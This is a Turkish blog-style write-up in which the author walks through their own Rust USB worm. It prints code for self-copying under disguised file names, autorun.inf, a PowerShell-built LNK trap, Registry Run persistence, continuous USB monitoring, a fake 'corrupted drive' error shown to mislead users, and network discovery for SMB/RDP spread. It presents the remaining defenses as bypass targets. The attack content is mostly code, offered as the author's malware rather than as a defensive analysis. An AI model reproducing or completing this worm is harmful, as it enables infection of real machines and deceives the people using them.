USB Propagator (USB Yayıcı) Nedir? Nasıl Çalışır?
Dosya: usb_prop.rs1. USB Propagator Nedir ve Ne İşe Yarar?
USB Propagator, çıkarılabilir USB bellekler üzerinden kendi kendini kopyalayarak yayılan bir solucan türüdür. Amacı:- USB takıldığında otomatik çalışma (AutoRun) ile solucanı başlatmak
- Sistemde kalıcılık sağlamak (Registry Run anahtarları)
- Ağ üzerinden yayılmak (NetBIOS, SMB)
- Kullanıcıyı yanıltmak (sahte hata mesajları)
2. Peki Bu Kod Hangi Dille Yazıldı?
Yine Rust tercih ettim. Neden mi?- Windows API erişimi: winapi ile doğrudan Windows API'lerine erişim (GetDriveTypeW, SetFileAttributesW, MessageBoxW)
- Düşük seviye dosya işlemleri: std::fs ile hızlı dosya kopyalama ve gizleme
- Concurrency: USB takılma/çıkılma olaylarını sürekli izlemek için thread kullanımı
- Registry işlemleri: winreg ile Windows kayıt defterine yazma
3. USB Propagator - Detaylı Analiz
3.1. Çıkarılabilir Sürücüleri Bulma (Get Removable Drives)
Kod, sistemdeki tüm çıkarılabilir USB sürücülerini bulur:rust
fn get_removable_drives(&self) -> Vec<PathBuf> {
unsafe {
for letter in b'A'..=b'Z' {
let drive_type = GetDriveTypeW(root_path.as_ptr());
if drive_type == DRIVE_REMOVABLE {
// USB sürücü bulundu!
}
}
}
}
- Windows API: GetDriveTypeW ile sürücü tipi kontrol edilir.
- DRIVE_REMOVABLE (2) değeri, çıkarılabilir USB sürücüleri belirtir.
- A: ile Z: arasındaki tüm sürücü harfleri kontrol edilir.
3.2. USB Enfeksiyon İşlemi (Infect Drive)
USB takıldığında, aşağıdaki işlemler gerçekleştirilir:rust
fn infect_drive(&self, drive: &Path) -> Result<(), Box<dyn std::error::Error>> {
// 1. Ana kopyayı yaz
let dest_path = drive.join("SystemVolumeInfo.exe");
fs::copy(&self.worm_path, &dest_path)?;
self.set_hidden(&dest_path);
// 2. AutoRun oluştur
let autorun_content = r#"[AutoRun]
open=SystemVolumeInfo.exe
icon=%SystemRoot%\System32\shell32.dll,21
action=Open folder to view files
shell\open\command=SystemVolumeInfo.exe
shell\open\Default=1
"#;
fs::write(&autorun_path, autorun_content)?;
self.set_hidden(&autorun_path);
// 3. LNK tuzağı oluştur
let lnk_path = drive.join("Important_ReadMe.lnk");
self.create_lnk_trap(&lnk_path, &dest_path);
self.set_hidden(&lnk_path);
// 4. Derin kopya (alt klasörlere)
self.deep_copy(drive, &self.worm_path);
// 5. İmza bırak
let sig_path = drive.join(".RyukWasHere");
fs::write(&sig_path, "Heh heh heh... Ryuk loves apples!")?;
self.set_hidden(&sig_path);
// 6. Registry'e kaydet (kalıcılık)
self.add_to_usb_registry(drive);
}
3.2.1. Ana Kopya (SystemVolumeInfo.exe)
Solucanın kendisi, SystemVolumeInfo.exe adıyla USB'nin kök dizinine kopyalanır. Bu isim, Windows'un System Volume Information klasörüne benzetilerek kullanıcının şüphelenmesi engellenir.3.2.2. AutoRun (autorun.inf)
Windows'un AutoRun özelliği kullanılarak, USB takıldığında solucanın otomatik çalışması sağlanır:ini
[AutoRun]
open=SystemVolumeInfo.exe
shell\open\command=SystemVolumeInfo.exe
- open: USB takıldığında çalışacak dosya
- shell\open\command: Kullanıcı "Aç" dediğinde çalışacak dosya
3.2.3. LNK Tuzağı (Important_ReadMe.lnk)
Powershell ile bir kısayol (LNK) dosyası oluşturulur:rust
fn create_lnk_trap(&self, lnk_path: &Path, target: &Path) {
let ps_script = format!(
"$WshShell = New-Object -comObject WScript.Shell; \
$Shortcut = $WshShell.CreateShortcut('{}'); \
$Shortcut.TargetPath = '{}'; \
$Shortcut.Description = 'Click to view important documents'; \
$Shortcut.IconLocation = '%SystemRoot%\\System32\\shell32.dll,21'; \
$Shortcut.Save()",
lnk_path.to_str().unwrap(),
target.to_str().unwrap()
);
let _ = Command::new("powershell").args(&["-Command", &ps_script]).status();
}
Kullanıcı "Important_ReadMe.lnk" dosyasına tıkladığında, aslında solucan çalıştırılır. Bu, LNK saldırısı olarak bilinir.
3.2.4. Derin Kopya (Deep Copy)
USB'deki tüm alt klasörlere solucan kopyalanır:rust
fn deep_copy(&self, root: &Path, worm_path: &Path) {
if let Ok(entries) = fs::read_dir(root) {
for entry in entries {
if path.is_dir() {
let dest = path.join("SystemHelper.exe");
let _ = fs::copy(worm_path, &dest);
self.set_hidden(&dest);
}
}
}
}
Her klasöre SystemHelper.exe adında bir kopya bırakılır. Bu sayede kullanıcı USB'ye girdiğinde, solucanın bir kopyası mutlaka çalıştırılır.
3.2.5. İmza Bırakma (RyukWasHere)
Enfekte olan USB'ye bir imza dosyası bırakılır:rust
let sig_path = drive.join(".RyukWasHere");
fs::write(&sig_path, "Heh heh heh... Ryuk loves apples! Your USB is now mine. Muahahaha!")?;
Bu dosya, solucanın daha önce bu USB'yi enfekte edip etmediğini kontrol etmek için kullanılır. Aynı zamanda bir "ego" mesajıdır.
3.2.6. Kalıcılık (Registry Run)
Solucan, Windows Registry'sine kendini ekleyerek her sistem açılışında çalışmasını sağlar:rust
fn add_to_usb_registry(&self, drive: &Path) {
let hkcu = RegKey:
let reg_path = r"Software\Microsoft\Windows\CurrentVersion\Run";
if let Ok(key) = hkcu.open_subkey_with_flags(reg_path, KEY_WRITE) {
let exe_path = drive.join("SystemVolumeInfo.exe");
let _ = key.set_value("USBHelper", &exe_path.to_str().unwrap());
}
}
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- Anahtar adı: USBHelper
- Değer: X:\SystemVolumeInfo.exe (USB'nin yolu)
3.3. USB İzleme (Monitoring)
Solucan, sürekli olarak USB takılma/çıkılma olaylarını izler:rust
pub fn start_monitoring(&mut self) {
thread::spawn(move || {
loop {
let current_drives = propagator.get_removable_drives();
for drive in ¤t_drives {
if !monitored.contains(drive) && !propagator.is_infected(drive) {
println!("[+] Yeni USB algılandı: {}", drive.display());
let _ = propagator.infect_drive(drive);
monitored.insert(drive.clone());
let _ = propagator.show_fake_error(drive);
}
}
thread::sleep(Duration::from_secs(5));
}
});
}
- Her 5 saniyede bir USB sürücüleri kontrol eder.
- Yeni bir USB takıldığında, otomatik olarak enfekte eder.
- Enfekte edilen USB'ler infected_drives listesine eklenir.
- USB çıkarıldığında, listeden kaldırılır.
3.4. Sahte Hata Mesajı (Fake Error)
Kullanıcının şüphelenmesini engellemek için sahte bir hata mesajı gösterilir:rust
fn show_fake_error(&self, drive: &Path) -> Result<(), Box<dyn std::error::Error>> {
let msg = format!("USB aygıtı {} biçimlendirilmedi. Dosya sistemi bozuk. Lütfen verilerinizi yedekleyin.", drive_letter);
MessageBoxW(ptr::null_mut(), wide_msg.as_ptr(), title.as_ptr(), MB_ICONERROR | MB_OK);
}
Kullanıcı, "USB bozuk" mesajı gördüğünde şüphelenmez ve sistemi yeniden başlatır veya USB'yi çıkarıp takar. Bu sırada solucan zaten sisteme bulaşmıştır.
3.5. Ağ Üzerinden Yayılma (Network Propagation)
Solucan, ağdaki diğer bilgisayarlara da yayılmaya çalışır:rust
pub fn network_propagate(&self) {
let _ = execute_cmd_silent("net view /all");
thread::spawn(move || {
loop {
thread::sleep(Duration::from_secs(3600)); // Her saat başı
let _ = execute_cmd_silent("net view /all");
}
});
}
- net view /all ile ağdaki diğer bilgisayarları listeler.
- Bulunan bilgisayarlara SMB (445) veya RDP (3389) üzerinden yayılmayı dener.
- Bu kısım, wifi_worm.rs'deki SMB/RDP exploit'leri ile entegre edilebilir.
4. Bu Kodun Zayıf Noktaları (Bypass Yöntemleri)
- AutoRun kısıtlaması: Windows 7+ AutoRun'u kısıtlamıştır. (Kullanıcı "AutoPlay" ayarlarını değiştirebilir)
- Güvenlik yazılımları: Modern AV/EDR'ler, USB'den çalışan bilinmeyen .exe dosyalarını engeller.
- Grup Politikaları: Kurumsal ortamlarda USB yürütme engellenebilir.
- Kullanıcı farkındalığı: Bilinçli kullanıcılar, sahte hata mesajlarına kanmaz.
(bu arada yazdığım kodları llm modellerinede yorumlatıyorum iki yazıyı harman layıp atıyom haberiniz ola)